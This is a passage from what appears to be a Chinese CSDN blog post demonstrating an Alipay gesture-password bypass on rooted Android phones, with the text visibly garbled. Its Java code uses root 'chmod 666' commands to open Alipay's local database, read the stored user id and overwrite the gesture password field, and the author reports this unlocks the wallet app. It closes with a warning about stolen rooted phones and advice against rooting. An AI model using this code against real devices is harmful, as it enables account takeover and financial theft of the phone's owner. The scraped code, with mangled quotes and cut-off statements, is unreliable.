&&&&&&&& &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&& &&&&&&&&&&& }
&&&&&&&& &&&&&&&});
&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&& else {
&&&&&&&&&&&&&&&&&&&&&&&&&&& tvStatus.setText(&获取user id失败!&);
&&&&&&&&&&&&&&&&&& }
&&&&&&&& }
&&&&&&&& 获取user id和修改手势密码的代码如下:
// 获取加密的user id
&&&&&&&& private String getUserId()
&&&&&&&& {
&&&&&&&&&&&&&&&&&& String szRet = &&;
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& // 修改数据库文件的读写权限
&&&&&&&&&&&&&&&&&& RootUtils.RootCommand(&chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db&);
&&&&&&&&&&&&&&&&&& RootUtils.RootCommand(&chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal&);
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& try {
&&&&&&&&&&&&&&&&&&&&&&&&&&& Context context =createPackageContext(&com.eg.android.AlipayGphone&,& Context.CONTEXT_IGNORE_SECURITY);
&&&&&&&&&&&&&&&&&&&&&&&&&&& SQLiteDatabase dB=context.openOrCreateDatabase(&alipayclient.db&, 0, null);
&&&&&&&&&&& Cursor cursor =db.rawQuery(&select * from userinfo&, null);
&&&&&&&&&&& if (cursor.moveToFirst()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& szRet =cursor.getString(USER_ID_INDEX) ;
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&& db.close();
&&&&&&&&&&&&&&&&&& } catch(NameNotFoundException e1) {
&&&&&&&&&&& e1.printStackTrace();
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& return szR
&&&&&&&& }
&&&&&&&& // 修改手势密码
&&&&&&&& private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {
&&&&&&&&&&&&&&&&&& boolean bRet =
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& if (szPwd.isEmpty() ||szUerId.isEmpty()) {
&&&&&&&&&&&&&&&&&&&&&&&&&&& return bR
&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& try {
&&&&&&&&&&&&&&&&&&&&&&&&&&& Context context =createPackageContext(&com.eg.android.AlipayGphone&,& Context.CONTEXT_IGNORE_SECURITY);
&&&&&&&&&&&&&&&&&&&&&&&&&&& SQLiteDatabase dB=context.openOrCreateDatabase(&alipayclient.db&, 0, null);
&&&&&&&&&&&&&&&&&&&&&&&&&&& ContentValues cv =new ContentValues();
&&&&&&&&&&&&&&&&&&&&&&&&&&& cv.put(&gesturePwd&,szPwd);
&&&&&&&&&&&&&&&&&&&&&&&&&&& String[] args ={String.valueOf(szUerId)};
&&&&&&&&&&&&&&&&&&&&&&&&&&& int n =db.update(&userinfo&, cv, &userId=?&, args);
&&&&&&&&&&&&&&&&&&&&&&&&&&& if (n& 0) {
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& bRet =
&&&&&&&&&&&&&&&&&&&&&&&&&&& }
&&&&&&&&&&&&&&&&&&&&&&&&&&& db.close();
&&&&&&&&&&&&&&&&&& } catch(NameNotFoundException e1) {
&&&&&&&&&&& e1.printStackTrace();
&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&& return bR
&&&&&&&& }
&&&&&&&& 最后,程序运行效果如图16所示。
&&&&&&&& 输入自定义密码,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自定义手势代码即可解锁支付宝进入熟悉的主界面了。
如上所述,通过修改支付宝钱包数据库来达到破解目的的方法是需要在已经root过的手机上才能使用的。设想一下这种情况,我的手机已经root,并且手机被盗。那么,除了手机上的艳照有可能泄露之外,小偷还可以通过修改支付宝的手势密码来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。
&&&&&&&& 一般来说,普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。
版权声明:本文为博主原创文章,未经博主允许不得转载。
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:111333次
积分:1576
积分:1576
排名:第14616名
原创:49篇
评论:39条
(1)(1)(2)(1)(4)(4)(8)(9)(5)(1)(14)}

我要回帖

更多关于 ipad怎么设置手势密码 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信